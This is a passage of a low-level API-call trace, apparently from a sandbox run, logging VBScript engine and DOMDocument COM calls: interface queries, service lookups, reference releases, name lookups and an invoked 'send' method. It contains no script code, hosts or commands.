[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153848 | out: ppvObject=0x153848*=0x0) returned 0x80004002 [0088.988] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.988] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.989] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153850 | out: ppvObject=0x153850*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0088.989] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153850 | out: ppvObject=0x153850*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.989] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0088.989] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.989] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0088.989] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0088.989] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.989] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.989] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.990] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0088.990] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.990] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153880 | out: ppvObject=0x153880*=0x1112980) returned 0x0 [0088.990] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15386c | out: ppvObject=0x15386c*=0x0) returned 0x80004002 [0088.990] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0088.990] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0088.990] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15386c | out: ppvObject=0x15386c*=0x0) returned 0x80004002 [0088.990] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.990] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.990] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0088.990] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0088.991] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0088.991] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.991] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.991] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0088.991] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0088.991] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.991] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.991] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0088.991] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0088.991] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.991] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.991] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.991] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.991] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15490c | out: ppvObject=0x15490c*=0x1112980) returned 0x0 [0088.991] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154910 | out: ppvObject=0x154910*=0x0) returned 0x80004002 [0088.992] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548e0 | out: ppvObject=0x1548e0*=0x83fd368) returned 0x0 [0088.992] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548dc | out: ppvObject=0x1548dc*=0x83fd378) returned 0x0 [0088.992] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154910 | out: ppvObject=0x154910*=0x0) returned 0x80004002 [0088.992] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.992] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.992] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.992] DOMDocument:IUnknown:Release (This=0x555368) returned 0x1 [0088.992] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.992] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="eeree", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.992] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="eeree", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.992] GetCurrentThreadId () returned 0xd44 [0088.992] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.992] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.993] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yoha", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.993] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yoha", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.993] GetCurrentThreadId () returned 0xd44 [0088.993] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.993] ??2@YAPAXI@Z () returned 0x86bff10 [0088.993] malloc (_Size=0x804) returned 0x83fc220 [0088.993] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.993] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0088.993] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555368, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="send", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=5) returned 0x0 [0088.993] DOMDocument:IUnknown:AddRef (This=0x555368) returned 0x2 [0088.993] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0088.994] DOMDocument:IDispatch:Invoke (in: This=0x555368, dispIdMember=5, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x555368) returned 0x0 [0088.994] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1545dc | out: ppvObject=0x1545dc*=0x1112980) returned 0x0 [0088.994] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6cbd540 | out: ppvObject=0x6cbd540*=0x0) returned 0x80004002 [0088.994] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1545b4 | out: ppvObject=0x1545b4*=0x83fd368) returned 0x0 [0088.994] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1545b0 | out: ppvObject=0x1545b0*=0x83fd378) returned 0x0 [0088.994] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6cbd540 | out: ppvObject=0x6cbd540*=0x0) returned 0x80004002 [0088.994] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.994] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.994] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.994] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153aa8 | out: ppvObject=0x153aa8*=0x1112980) returned 0x0 [0088.994] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bb40f8 | out: ppvObject=0x6bb40f8*=0x0) returned 0x80004002 [0088.994] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153a80 | out: ppvObject=0x153a80*=0x83fd368) returned 0x0 [0088.995] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153a7c | out: ppvObject=0x153a7c*=0x83fd378) returned 0x0 [0088.995] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bb40f8 | out: ppvObject=0x6bb40f8*=0x0) returned 0x80004002 [0088.995] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.995] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.995] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0089.004] DOMDocument:IUnknown:Release (This=0x555368) returned 0x1 [0089.004] ??2@YAPAXI@Z () returned 0x86bff10 [0089.004] malloc (_Size=0x804) returned 0x83fc220 [0089.004] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.004] GetCurrentThreadId () returned 0xd44 [0089.004] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a30 | out: ppvObject=0x154a30*=0x11977a8) returned 0x0 [0089.005] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sfo", grfdex=0x8, 